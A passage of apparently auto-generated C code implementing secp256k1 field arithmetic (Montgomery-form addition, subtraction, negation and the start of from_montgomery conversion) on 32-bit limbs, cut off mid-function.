x1360 = sizeof(intptr_t) == 4 ? ((uint64_t)(x1352)*((uintptr_t)4294967295ULL))>>32 : ((__uint128_t)(x1352)*((uintptr_t)4294967295ULL))>>64 /* TODO this has not been tested */;
x1361 = (x1352)*((uintptr_t)4294967295ULL);
x1362 = sizeof(intptr_t) == 4 ? ((uint64_t)(x1352)*((uintptr_t)4294967295ULL))>>32 : ((__uint128_t)(x1352)*((uintptr_t)4294967295ULL))>>64 /* TODO this has not been tested */;
x1363 = (x1352)*((uintptr_t)4294967295ULL);
x1364 = sizeof(intptr_t) == 4 ? ((uint64_t)(x1352)*((uintptr_t)4294967295ULL))>>32 : ((__uint128_t)(x1352)*((uintptr_t)4294967295ULL))>>64 /* TODO this has not been tested */;
x1365 = (x1352)*((uintptr_t)4294967294ULL);
x1366 = sizeof(intptr_t) == 4 ? ((uint64_t)(x1352)*((uintptr_t)4294967294ULL))>>32 : ((__uint128_t)(x1352)*((uintptr_t)4294967294ULL))>>64 /* TODO this has not been tested */;
x1367 = (x1352)*((uintptr_t)4294966319ULL);
x1368 = sizeof(intptr_t) == 4 ? ((uint64_t)(x1352)*((uintptr_t)4294966319ULL))>>32 : ((__uint128_t)(x1352)*((uintptr_t)4294966319ULL))>>64 /* TODO this has not been tested */;
x1369 = (x1368)+(x1365);
x1370 = (x1369)<(x1368);
x1371 = (x1370)+(x1366);
x1372 = (x1371)<(x1366);
x1373 = (x1371)+(x1363);
x1374 = (x1373)<(x1363);
x1375 = (x1372)+(x1374);
x1376 = (x1375)+(x1364);
x1377 = (x1376)<(x1364);
x1378 = (x1376)+(x1361);
x1379 = (x1378)<(x1361);
x1380 = (x1377)+(x1379);
x1381 = (x1380)+(x1362);
x1382 = (x1381)<(x1362);
x1383 = (x1381)+(x1359);
x1384 = (x1383)<(x1359);
x1385 = (x1382)+(x1384);
x1386 = (x1385)+(x1360);
x1387 = (x1386)<(x1360);
x1388 = (x1386)+(x1357);
x1389 = (x1388)<(x1357);
x1390 = (x1387)+(x1389);
x1391 = (x1390)+(x1358);
x1392 = (x1391)<(x1358);
x1393 = (x1391)+(x1355);
x1394 = (x1393)<(x1355);
x1395 = (x1392)+(x1394);
x1396 = (x1395)+(x1356);
x1397 = (x1396)<(x1356);
x1398 = (x1396)+(x1353);
x1399 = (x1398)<(x1353);
x1400 = (x1397)+(x1399);
x1401 = (x1400)+(x1354);
x1402 = (x1310)+(x1367);
x1403 = (x1402)<(x1310);
x1404 = (x1403)+(x1314);
x1405 = (x1404)<(x1314);
x1406 = (x1404)+(x1369);
x1407 = (x1406)<(x1369);
x1408 = (x1405)+(x1407);
x1409 = (x1408)+(x1319);
x1410 = (x1409)<(x1319);
x1411 = (x1409)+(x1373);
x1412 = (x1411)<(x1373);
x1413 = (x1410)+(x1412);
x1414 = (x1413)+(x1324);
x1415 = (x1414)<(x1324);
x1416 = (x1414)+(x1378);
x1417 = (x1416)<(x1378);
x1418 = (x1415)+(x1417);
x1419 = (x1418)+(x1329);
x1420 = (x1419)<(x1329);
x1421 = (x1419)+(x1383);
x1422 = (x1421)<(x1383);
x1423 = (x1420)+(x1422);
x1424 = (x1423)+(x1334);
x1425 = (x1424)<(x1334);
x1426 = (x1424)+(x1388);
x1427 = (x1426)<(x1388);
x1428 = (x1425)+(x1427);
x1429 = (x1428)+(x1339);
x1430 = (x1429)<(x1339);
x1431 = (x1429)+(x1393);
x1432 = (x1431)<(x1393);
x1433 = (x1430)+(x1432);
x1434 = (x1433)+(x1344);
x1435 = (x1434)<(x1344);
x1436 = (x1434)+(x1398);
x1437 = (x1436)<(x1398);
x1438 = (x1435)+(x1437);
x1439 = (x1438)+(x1349);
x1440 = (x1439)<(x1349);
x1441 = (x1439)+(x1401);
x1442 = (x1441)<(x1401);
x1443 = (x1440)+(x1442);
x1444 = (x1443)+(x1351);
x1445 = (x1406)-((uintptr_t)4294966319ULL);
x1446 = (x1406)<(x1445);
x1447 = (x1445)<(x1445);
x1448 = (x1446)+(x1447);
x1449 = (x1411)-((uintptr_t)4294967294ULL);
x1450 = (x1411)<(x1449);
x1451 = (x1449)-(x1448);
x1452 = (x1449)<(x1451);
x1453 = (x1450)+(x1452);
x1454 = (x1416)-((uintptr_t)4294967295ULL);
x1455 = (x1416)<(x1454);
x1456 = (x1454)-(x1453);
x1457 = (x1454)<(x1456);
x1458 = (x1455)+(x1457);
x1459 = (x1421)-((uintptr_t)4294967295ULL);
x1460 = (x1421)<(x1459);
x1461 = (x1459)-(x1458);
x1462 = (x1459)<(x1461);
x1463 = (x1460)+(x1462);
x1464 = (x1426)-((uintptr_t)4294967295ULL);
x1465 = (x1426)<(x1464);
x1466 = (x1464)-(x1463);
x1467 = (x1464)<(x1466);
x1468 = (x1465)+(x1467);
x1469 = (x1431)-((uintptr_t)4294967295ULL);
x1470 = (x1431)<(x1469);
x1471 = (x1469)-(x1468);
x1472 = (x1469)<(x1471);
x1473 = (x1470)+(x1472);
x1474 = (x1436)-((uintptr_t)4294967295ULL);
x1475 = (x1436)<(x1474);
x1476 = (x1474)-(x1473);
x1477 = (x1474)<(x1476);
x1478 = (x1475)+(x1477);
x1479 = (x1441)-((uintptr_t)4294967295ULL);
x1480 = (x1441)<(x1479);
x1481 = (x1479)-(x1478);
x1482 = (x1479)<(x1481);
x1483 = (x1480)+(x1482);
x1484 = (x1444)<(x1444);
x1485 = (x1444)-(x1483);
x1486 = (x1444)<(x1485);
x1487 = (x1484)+(x1486);
x1488 = ((uintptr_t)-1ULL)+((x1487)==((uintptr_t)0ULL));
x1489 = (x1488)^((uintptr_t)4294967295ULL);
x1490 = ((x1406)&(x1488))|((x1445)&(x1489));
x1491 = ((uintptr_t)-1ULL)+((x1487)==((uintptr_t)0ULL));
x1492 = (x1491)^((uintptr_t)4294967295ULL);
x1493 = ((x1411)&(x1491))|((x1451)&(x1492));
x1494 = ((uintptr_t)-1ULL)+((x1487)==((uintptr_t)0ULL));
x1495 = (x1494)^((uintptr_t)4294967295ULL);
x1496 = ((x1416)&(x1494))|((x1456)&(x1495));
x1497 = ((uintptr_t)-1ULL)+((x1487)==((uintptr_t)0ULL));
x1498 = (x1497)^((uintptr_t)4294967295ULL);
x1499 = ((x1421)&(x1497))|((x1461)&(x1498));
x1500 = ((uintptr_t)-1ULL)+((x1487)==((uintptr_t)0ULL));
x1501 = (x1500)^((uintptr_t)4294967295ULL);
x1502 = ((x1426)&(x1500))|((x1466)&(x1501));
x1503 = ((uintptr_t)-1ULL)+((x1487)==((uintptr_t)0ULL));
x1504 = (x1503)^((uintptr_t)4294967295ULL);
x1505 = ((x1431)&(x1503))|((x1471)&(x1504));
x1506 = ((uintptr_t)-1ULL)+((x1487)==((uintptr_t)0ULL));
x1507 = (x1506)^((uintptr_t)4294967295ULL);
x1508 = ((x1436)&(x1506))|((x1476)&(x1507));
x1509 = ((uintptr_t)-1ULL)+((x1487)==((uintptr_t)0ULL));
x1510 = (x1509)^((uintptr_t)4294967295ULL);
x1511 = ((x1441)&(x1509))|((x1481)&(x1510));
x1512 = x1490;
x1513 = x1493;
x1514 = x1496;
x1515 = x1499;
x1516 = x1502;
x1517 = x1505;
x1518 = x1508;
x1519 = x1511;
/*skip*/
*(uintptr_t*)((out0)+((uintptr_t)0ULL)) = x1512;
*(uintptr_t*)((out0)+((uintptr_t)4ULL)) = x1513;
*(uintptr_t*)((out0)+((uintptr_t)8ULL)) = x1514;
*(uintptr_t*)((out0)+((uintptr_t)12ULL)) = x1515;
*(uintptr_t*)((out0)+((uintptr_t)16ULL)) = x1516;
*(uintptr_t*)((out0)+((uintptr_t)20ULL)) = x1517;
*(uintptr_t*)((out0)+((uintptr_t)24ULL)) = x1518;
*(uintptr_t*)((out0)+((uintptr_t)28ULL)) = x1519;
/*skip*/
return;
}
/*
* Input Bounds:
* in0: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]]
* in1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]]
* Output Bounds:
* out0: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]]
*/
void fiat_secp256k1_add(uintptr_t in0, uintptr_t in1, uintptr_t out0) {
uintptr_t x8, x0, x17, x1, x9, x19, x2, x10, x21, x3, x11, x23, x4, x12, x25, x5, x13, x27, x6, x14, x29, x7, x15, x33, x35, x37, x39, x41, x43, x31, x45, x16, x48, x32, x49, x18, x51, x34, x52, x20, x54, x36, x55, x22, x57, x38, x58, x24, x60, x40, x61, x26, x63, x42, x64, x28, x66, x44, x67, x47, x30, x69, x46, x70, x50, x53, x56, x59, x62, x65, x68, x71, x72, x73, x74, x75, x76, x77, x78, x79;
x0 = *(uintptr_t*)((in0)+((uintptr_t)0ULL));
x1 = *(uintptr_t*)((in0)+((uintptr_t)4ULL));
x2 = *(uintptr_t*)((in0)+((uintptr_t)8ULL));
x3 = *(uintptr_t*)((in0)+((uintptr_t)12ULL));
x4 = *(uintptr_t*)((in0)+((uintptr_t)16ULL));
x5 = *(uintptr_t*)((in0)+((uintptr_t)20ULL));
x6 = *(uintptr_t*)((in0)+((uintptr_t)24ULL));
x7 = *(uintptr_t*)((in0)+((uintptr_t)28ULL));
/*skip*/
x8 = *(uintptr_t*)((in1)+((uintptr_t)0ULL));
x9 = *(uintptr_t*)((in1)+((uintptr_t)4ULL));
x10 = *(uintptr_t*)((in1)+((uintptr_t)8ULL));
x11 = *(uintptr_t*)((in1)+((uintptr_t)12ULL));
x12 = *(uintptr_t*)((in1)+((uintptr_t)16ULL));
x13 = *(uintptr_t*)((in1)+((uintptr_t)20ULL));
x14 = *(uintptr_t*)((in1)+((uintptr_t)24ULL));
x15 = *(uintptr_t*)((in1)+((uintptr_t)28ULL));
/*skip*/
/*skip*/
x16 = (x0)+(x8);
x17 = ((x16)<(x0))+(x1);
x18 = (x17)+(x9);
x19 = (((x17)<(x1))+((x18)<(x9)))+(x2);
x20 = (x19)+(x10);
x21 = (((x19)<(x2))+((x20)<(x10)))+(x3);
x22 = (x21)+(x11);
x23 = (((x21)<(x3))+((x22)<(x11)))+(x4);
x24 = (x23)+(x12);
x25 = (((x23)<(x4))+((x24)<(x12)))+(x5);
x26 = (x25)+(x13);
x27 = (((x25)<(x5))+((x26)<(x13)))+(x6);
x28 = (x27)+(x14);
x29 = (((x27)<(x6))+((x28)<(x14)))+(x7);
x30 = (x29)+(x15);
x31 = ((x29)<(x7))+((x30)<(x15));
x32 = (x16)-((uintptr_t)4294966319ULL);
x33 = (x18)-((uintptr_t)4294967294ULL);
x34 = (x33)-(((x16)<(x32))+((x32)<(x32)));
x35 = (x20)-((uintptr_t)4294967295ULL);
x36 = (x35)-(((x18)<(x33))+((x33)<(x34)));
x37 = (x22)-((uintptr_t)4294967295ULL);
x38 = (x37)-(((x20)<(x35))+((x35)<(x36)));
x39 = (x24)-((uintptr_t)4294967295ULL);
x40 = (x39)-(((x22)<(x37))+((x37)<(x38)));
x41 = (x26)-((uintptr_t)4294967295ULL);
x42 = (x41)-(((x24)<(x39))+((x39)<(x40)));
x43 = (x28)-((uintptr_t)4294967295ULL);
x44 = (x43)-(((x26)<(x41))+((x41)<(x42)));
x45 = (x30)-((uintptr_t)4294967295ULL);
x46 = (x45)-(((x28)<(x43))+((x43)<(x44)));
x47 = ((x31)<(x31))+((x31)<((x31)-(((x30)<(x45))+((x45)<(x46)))));
x48 = ((uintptr_t)-1ULL)+((x47)==((uintptr_t)0ULL));
x49 = (x48)^((uintptr_t)4294967295ULL);
x50 = ((x16)&(x48))|((x32)&(x49));
x51 = ((uintptr_t)-1ULL)+((x47)==((uintptr_t)0ULL));
x52 = (x51)^((uintptr_t)4294967295ULL);
x53 = ((x18)&(x51))|((x34)&(x52));
x54 = ((uintptr_t)-1ULL)+((x47)==((uintptr_t)0ULL));
x55 = (x54)^((uintptr_t)4294967295ULL);
x56 = ((x20)&(x54))|((x36)&(x55));
x57 = ((uintptr_t)-1ULL)+((x47)==((uintptr_t)0ULL));
x58 = (x57)^((uintptr_t)4294967295ULL);
x59 = ((x22)&(x57))|((x38)&(x58));
x60 = ((uintptr_t)-1ULL)+((x47)==((uintptr_t)0ULL));
x61 = (x60)^((uintptr_t)4294967295ULL);
x62 = ((x24)&(x60))|((x40)&(x61));
x63 = ((uintptr_t)-1ULL)+((x47)==((uintptr_t)0ULL));
x64 = (x63)^((uintptr_t)4294967295ULL);
x65 = ((x26)&(x63))|((x42)&(x64));
x66 = ((uintptr_t)-1ULL)+((x47)==((uintptr_t)0ULL));
x67 = (x66)^((uintptr_t)4294967295ULL);
x68 = ((x28)&(x66))|((x44)&(x67));
x69 = ((uintptr_t)-1ULL)+((x47)==((uintptr_t)0ULL));
x70 = (x69)^((uintptr_t)4294967295ULL);
x71 = ((x30)&(x69))|((x46)&(x70));
x72 = x50;
x73 = x53;
x74 = x56;
x75 = x59;
x76 = x62;
x77 = x65;
x78 = x68;
x79 = x71;
/*skip*/
*(uintptr_t*)((out0)+((uintptr_t)0ULL)) = x72;
*(uintptr_t*)((out0)+((uintptr_t)4ULL)) = x73;
*(uintptr_t*)((out0)+((uintptr_t)8ULL)) = x74;
*(uintptr_t*)((out0)+((uintptr_t)12ULL)) = x75;
*(uintptr_t*)((out0)+((uintptr_t)16ULL)) = x76;
*(uintptr_t*)((out0)+((uintptr_t)20ULL)) = x77;
*(uintptr_t*)((out0)+((uintptr_t)24ULL)) = x78;
*(uintptr_t*)((out0)+((uintptr_t)28ULL)) = x79;
/*skip*/
return;
}
/*
* Input Bounds:
* in0: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]]
* in1: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]]
* Output Bounds:
* out0: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]]
*/
void fiat_secp256k1_sub(uintptr_t in0, uintptr_t in1, uintptr_t out0) {
uintptr_t x8, x9, x0, x10, x1, x17, x11, x2, x19, x12, x3, x21, x13, x4, x23, x14, x5, x25, x15, x6, x27, x7, x29, x16, x33, x18, x35, x20, x37, x22, x39, x24, x41, x26, x43, x28, x30, x31, x32, x34, x36, x38, x40, x42, x44, x45, x46, x47, x48, x49, x50, x51, x52, x53;
x0 = *(uintptr_t*)((in0)+((uintptr_t)0ULL));
x1 = *(uintptr_t*)((in0)+((uintptr_t)4ULL));
x2 = *(uintptr_t*)((in0)+((uintptr_t)8ULL));
x3 = *(uintptr_t*)((in0)+((uintptr_t)12ULL));
x4 = *(uintptr_t*)((in0)+((uintptr_t)16ULL));
x5 = *(uintptr_t*)((in0)+((uintptr_t)20ULL));
x6 = *(uintptr_t*)((in0)+((uintptr_t)24ULL));
x7 = *(uintptr_t*)((in0)+((uintptr_t)28ULL));
/*skip*/
x8 = *(uintptr_t*)((in1)+((uintptr_t)0ULL));
x9 = *(uintptr_t*)((in1)+((uintptr_t)4ULL));
x10 = *(uintptr_t*)((in1)+((uintptr_t)8ULL));
x11 = *(uintptr_t*)((in1)+((uintptr_t)12ULL));
x12 = *(uintptr_t*)((in1)+((uintptr_t)16ULL));
x13 = *(uintptr_t*)((in1)+((uintptr_t)20ULL));
x14 = *(uintptr_t*)((in1)+((uintptr_t)24ULL));
x15 = *(uintptr_t*)((in1)+((uintptr_t)28ULL));
/*skip*/
/*skip*/
x16 = (x0)-(x8);
x17 = (x1)-(x9);
x18 = (x17)-((x0)<(x16));
x19 = (x2)-(x10);
x20 = (x19)-(((x1)<(x17))+((x17)<(x18)));
x21 = (x3)-(x11);
x22 = (x21)-(((x2)<(x19))+((x19)<(x20)));
x23 = (x4)-(x12);
x24 = (x23)-(((x3)<(x21))+((x21)<(x22)));
x25 = (x5)-(x13);
x26 = (x25)-(((x4)<(x23))+((x23)<(x24)));
x27 = (x6)-(x14);
x28 = (x27)-(((x5)<(x25))+((x25)<(x26)));
x29 = (x7)-(x15);
x30 = (x29)-(((x6)<(x27))+((x27)<(x28)));
x31 = ((uintptr_t)-1ULL)+((((x7)<(x29))+((x29)<(x30)))==((uintptr_t)0ULL));
x32 = (x16)+((x31)&((uintptr_t)4294966319ULL));
x33 = ((x32)<(x16))+(x18);
x34 = (x33)+((x31)&((uintptr_t)4294967294ULL));
x35 = (((x33)<(x18))+((x34)<((x31)&((uintptr_t)4294967294ULL))))+(x20);
x36 = (x35)+((x31)&((uintptr_t)4294967295ULL));
x37 = (((x35)<(x20))+((x36)<((x31)&((uintptr_t)4294967295ULL))))+(x22);
x38 = (x37)+((x31)&((uintptr_t)4294967295ULL));
x39 = (((x37)<(x22))+((x38)<((x31)&((uintptr_t)4294967295ULL))))+(x24);
x40 = (x39)+((x31)&((uintptr_t)4294967295ULL));
x41 = (((x39)<(x24))+((x40)<((x31)&((uintptr_t)4294967295ULL))))+(x26);
x42 = (x41)+((x31)&((uintptr_t)4294967295ULL));
x43 = (((x41)<(x26))+((x42)<((x31)&((uintptr_t)4294967295ULL))))+(x28);
x44 = (x43)+((x31)&((uintptr_t)4294967295ULL));
x45 = ((((x43)<(x28))+((x44)<((x31)&((uintptr_t)4294967295ULL))))+(x30))+((x31)&((uintptr_t)4294967295ULL));
x46 = x32;
x47 = x34;
x48 = x36;
x49 = x38;
x50 = x40;
x51 = x42;
x52 = x44;
x53 = x45;
/*skip*/
*(uintptr_t*)((out0)+((uintptr_t)0ULL)) = x46;
*(uintptr_t*)((out0)+((uintptr_t)4ULL)) = x47;
*(uintptr_t*)((out0)+((uintptr_t)8ULL)) = x48;
*(uintptr_t*)((out0)+((uintptr_t)12ULL)) = x49;
*(uintptr_t*)((out0)+((uintptr_t)16ULL)) = x50;
*(uintptr_t*)((out0)+((uintptr_t)20ULL)) = x51;
*(uintptr_t*)((out0)+((uintptr_t)24ULL)) = x52;
*(uintptr_t*)((out0)+((uintptr_t)28ULL)) = x53;
/*skip*/
return;
}
/*
* Input Bounds:
* in0: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]]
* Output Bounds:
* out0: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]]
*/
void fiat_secp256k1_opp(uintptr_t in0, uintptr_t out0) {
uintptr_t x0, x1, x2, x9, x3, x11, x4, x13, x5, x15, x6, x17, x7, x19, x21, x8, x25, x10, x27, x12, x29, x14, x31, x16, x33, x18, x35, x20, x22, x23, x24, x26, x28, x30, x32, x34, x36, x37, x38, x39, x40, x41, x42, x43, x44, x45;
x0 = *(uintptr_t*)((in0)+((uintptr_t)0ULL));
x1 = *(uintptr_t*)((in0)+((uintptr_t)4ULL));
x2 = *(uintptr_t*)((in0)+((uintptr_t)8ULL));
x3 = *(uintptr_t*)((in0)+((uintptr_t)12ULL));
x4 = *(uintptr_t*)((in0)+((uintptr_t)16ULL));
x5 = *(uintptr_t*)((in0)+((uintptr_t)20ULL));
x6 = *(uintptr_t*)((in0)+((uintptr_t)24ULL));
x7 = *(uintptr_t*)((in0)+((uintptr_t)28ULL));
/*skip*/
/*skip*/
x8 = ((uintptr_t)0ULL)-(x0);
x9 = ((uintptr_t)0ULL)-(x1);
x10 = (x9)-(((uintptr_t)0ULL)<(x8));
x11 = ((uintptr_t)0ULL)-(x2);
x12 = (x11)-((((uintptr_t)0ULL)<(x9))+((x9)<(x10)));
x13 = ((uintptr_t)0ULL)-(x3);
x14 = (x13)-((((uintptr_t)0ULL)<(x11))+((x11)<(x12)));
x15 = ((uintptr_t)0ULL)-(x4);
x16 = (x15)-((((uintptr_t)0ULL)<(x13))+((x13)<(x14)));
x17 = ((uintptr_t)0ULL)-(x5);
x18 = (x17)-((((uintptr_t)0ULL)<(x15))+((x15)<(x16)));
x19 = ((uintptr_t)0ULL)-(x6);
x20 = (x19)-((((uintptr_t)0ULL)<(x17))+((x17)<(x18)));
x21 = ((uintptr_t)0ULL)-(x7);
x22 = (x21)-((((uintptr_t)0ULL)<(x19))+((x19)<(x20)));
x23 = ((uintptr_t)-1ULL)+(((((uintptr_t)0ULL)<(x21))+((x21)<(x22)))==((uintptr_t)0ULL));
x24 = (x8)+((x23)&((uintptr_t)4294966319ULL));
x25 = ((x24)<(x8))+(x10);
x26 = (x25)+((x23)&((uintptr_t)4294967294ULL));
x27 = (((x25)<(x10))+((x26)<((x23)&((uintptr_t)4294967294ULL))))+(x12);
x28 = (x27)+((x23)&((uintptr_t)4294967295ULL));
x29 = (((x27)<(x12))+((x28)<((x23)&((uintptr_t)4294967295ULL))))+(x14);
x30 = (x29)+((x23)&((uintptr_t)4294967295ULL));
x31 = (((x29)<(x14))+((x30)<((x23)&((uintptr_t)4294967295ULL))))+(x16);
x32 = (x31)+((x23)&((uintptr_t)4294967295ULL));
x33 = (((x31)<(x16))+((x32)<((x23)&((uintptr_t)4294967295ULL))))+(x18);
x34 = (x33)+((x23)&((uintptr_t)4294967295ULL));
x35 = (((x33)<(x18))+((x34)<((x23)&((uintptr_t)4294967295ULL))))+(x20);
x36 = (x35)+((x23)&((uintptr_t)4294967295ULL));
x37 = ((((x35)<(x20))+((x36)<((x23)&((uintptr_t)4294967295ULL))))+(x22))+((x23)&((uintptr_t)4294967295ULL));
x38 = x24;
x39 = x26;
x40 = x28;
x41 = x30;
x42 = x32;
x43 = x34;
x44 = x36;
x45 = x37;
/*skip*/
*(uintptr_t*)((out0)+((uintptr_t)0ULL)) = x38;
*(uintptr_t*)((out0)+((uintptr_t)4ULL)) = x39;
*(uintptr_t*)((out0)+((uintptr_t)8ULL)) = x40;
*(uintptr_t*)((out0)+((uintptr_t)12ULL)) = x41;
*(uintptr_t*)((out0)+((uintptr_t)16ULL)) = x42;
*(uintptr_t*)((out0)+((uintptr_t)20ULL)) = x43;
*(uintptr_t*)((out0)+((uintptr_t)24ULL)) = x44;
*(uintptr_t*)((out0)+((uintptr_t)28ULL)) = x45;
/*skip*/
return;
}
/*
* Input Bounds:
* in0: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]]
* Output Bounds:
* out0: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]]
*/
void fiat_secp256k1_from_montgomery(uintptr_t in0, uintptr_t out0) {
uintptr_t x0, x23, x25, x22, x20, x27, x21, x18, x29, x19, x16, x31, x17, x14, x33, x15, x12, x35, x13, x10, x9, x8, x24, x26, x28, x30, x32, x34, x36, x37, x11, x1, x38, x39, x40, x41, x42, x43, x44, x45, x70, x72, x69, x67, x74, x68, x65, x76, x66, x63, x78, x64, x61, x80, x62, x59, x82, x60, x57, x56, x47, x85, x48, x71, x87, x49, x73, x89, x50, x75, x91, x51, x77, x93, x52, x79, x95, x53, x81, x97, x54, x83, x99, x55, x46, x84, x58, x2, x86, x88, x90, x92, x94, x96, x98, x100, x125, x127, x124, x122, x129, x123, x120, x131, x121, x118, x133, x119, x116, x135, x117, x114, x137, x115, x112, x111, x102, x140, x103, x126, x142, x104, x128, x144, x105, x130, x146, x106, x132, x148, x107, x134, x150, x108, x136, x152, x109, x138, x154, x110, x101, x139, x113, x3, x141, x143, x145, x147, x149, x151, x153, x155, x180, x182, x179, x177, x184, x178, x175, x186, x176, x173, x188, x174, x171, x190, x172, x169, x192, x170, x167, x166, x157, x195, x158, x181, x197, x159, x183, x199, x160, x185, x201, x161, x187, x203, x162, x189, x205, x163, x191, x207, x164, x193, x209, x165, x156, x194, x168, x4, x196, x198, x200, x202, x204, x206, x208, x210, x235, x237, x234, x232, x239, x233, x230, x241, x231, x228, x243, x229, x226, x245, x227, x224, x247, x225, x222, x221, x212, x250, x213, x236, x252, x214, x238, x254, x215, x240, x256, x216, x242, x258, x217, x244, x260, x218, x246, x262, x219, x248, x264, x220, x211, x249, x223, x5, x251, x253, x255, x257, x259, x261, x263, x265, x290, x292, x289, x287, x294, x288, x285, x296, x286, x283, x298, x284, x281, x300, x282, x279, x302, x280, x277, x276, x267, x305, x268, x291, x307, x269, x293, x309, x270, x295, x311, x271, x297, x313, x272, x299, x315, x273, x301, x317, x274, x303, x319, x275, x266, x304, x278, x6, x306, x308, x310, x312, x314, x316, x318, x320, x345, x347, x344, x342, x349, x343, x340, x351, x341, x338, x353, x339, x336, x355, x337, x334, x357, x335, x332, x331, x322, x360, x323, x346, x362, x324, x348, x364, x325, x350, x366, x326, x352, x368, x327, x354, x370, x328, x356, x372, x329, x358, x374, x330, x321, x359, x333, x7, x361, x363, x365, x367, x369, x371, x373, x375, x400, x402, x399, x397, x404, x398, x395, x406, x396, x393, x408, x394, x391, x410, x392, x389, x412, x390, x387, x386, x377, x415, x378, x401, x417, x379, x403, x419, x380, x405, x421, x381, x407, x423, x382, x409, x425, x383, x411, x427, x384, x413, x429, x385, x376, x414, x388, x433, x435, x437, x439, x441, x443, x431, x445, x416, x448, x432, x449, x418, x451, x434, x452, x420, x454, x436, x455, x422, x457, x438, x458, x424, x460, x440, x461, x426, x463, x442, x464, x428, x466, x444, x467, x447, x430, x469, x446, x470, x450, x453, x456, x459, x462, x465, x468, x471, x472, x473, x474, x475, x476, x477, x478, x479;
x0 = *(uintptr_t*)((in0)+((uintptr_t)0ULL));
x1 = *(uintptr_t*)((in0)+((uintptr_t)4ULL));
x2 = *(uintptr_t*)((in0)+((uintptr_t)8ULL));
x3 = *(uintptr_t*)((in0)+((uintptr_t)12ULL));
x4 = *(uintptr_t*)((in0)+((uintptr_t)16ULL));
x5 = *(uintptr_t*)((in0)+((uintptr_t)20ULL));
x6 = *(uintptr_t*)((in0)+((uintptr_t)24ULL));
x7 = *(uintptr_t*)((in0)+((uintptr_t)28ULL));
/*skip*/
/*skip*/
x8 = x0;
x9 = (x8)*((uintptr_t)3525653809ULL);
x10 = (x9)*((uintptr_t)4294967295ULL);
x11 = sizeof(intptr_t) == 4 ? ((uint64_t)(x9)*((uintptr_t)4294967295ULL))>>32 : ((__uint128_t)(x9)*((uintptr_t)4294967295ULL))>>64 /* TODO this has not been tested */;
x12 = (x9)*((uintptr_t)4294967295ULL);
x13 = sizeof(intptr_t) == 4 ? ((uint64_t)(x9)*((uintptr_t)4294967295ULL))>>32 : ((__uint128_t)(x9)*((uintptr_t)4294967295ULL))>>64 /* TODO this has not been tested */;
x14 = (x9)*((uintptr_t)4294967295ULL);
x15 = sizeof(intptr_t) == 4 ? ((uint64_t)(x9)*((uintptr_t)4294967295ULL))>>32 : ((__uint128_t)(x9)*((uintptr_t)4294967295ULL))>>64 /* TODO this has not been tested */;
x16 = (x9)*((uintptr_t)4294967295ULL);
x17 = sizeof(intptr_t) == 4 ? ((uint64_t)(x9)*((uintptr_t)4294967295ULL))>>32 : ((__uint128_t)(x9)*((uintptr_t)4294967295ULL))>>64 /* TODO this has not been tested */;
x18 = (x9)*((uintptr_t)4294967295ULL);
x19 = sizeof(intptr_t) == 4 ? ((uint64_t)(x9)*((uintptr_t)4294967295ULL))>>32 : ((__uint128_t)(x9)*((uintptr_t)4294967295ULL))>>64 /* TODO this has not been tested */;
x20 = (x9)*((uintptr_t)4294967295ULL);
x21 = sizeof(intptr_t) == 4 ? ((uint64_t)(x9)*((uintptr_t)4294967295ULL))>>32 : ((__uint128_t)(x9)*((uintptr_t)4294967295ULL))>>64 /* TODO this has not been tested */;
x22 = sizeof(intptr_t) == 4 ? ((uint64_t)(x9)*((uintptr_t)4294967294ULL))>>32 : ((__uint128_t)(x9)*((uintptr_t)4294967294ULL))>>64 /* TODO this has not been tested */;
x23 = sizeof(intptr_t) == 4 ? ((uint64_t)(x9)*((uintptr_t)4294966319ULL))>>32 : ((__uint128_t)(x9)*((uintptr_t)4294966319ULL))>>64 /* TODO this has not been tested */;
x24 = (x23)+((x9)*((uintptr_t)4294967294ULL));
x25 = ((x24)<(x23))+(x22);
x26 = (x25)+(x20);
x27 = (((x25)<(x22))+((x26)<(x20)))+(x21);
x28 = (x27)+(x18);
x29 = (((x27)<(x21))+((x28)<(x18)))+(x19);
x30 = (x29)+(x16);
x31 = (((x29)<(x19))+((x30)<(x16)))+(x17);
x32 = (x31)+(x14);
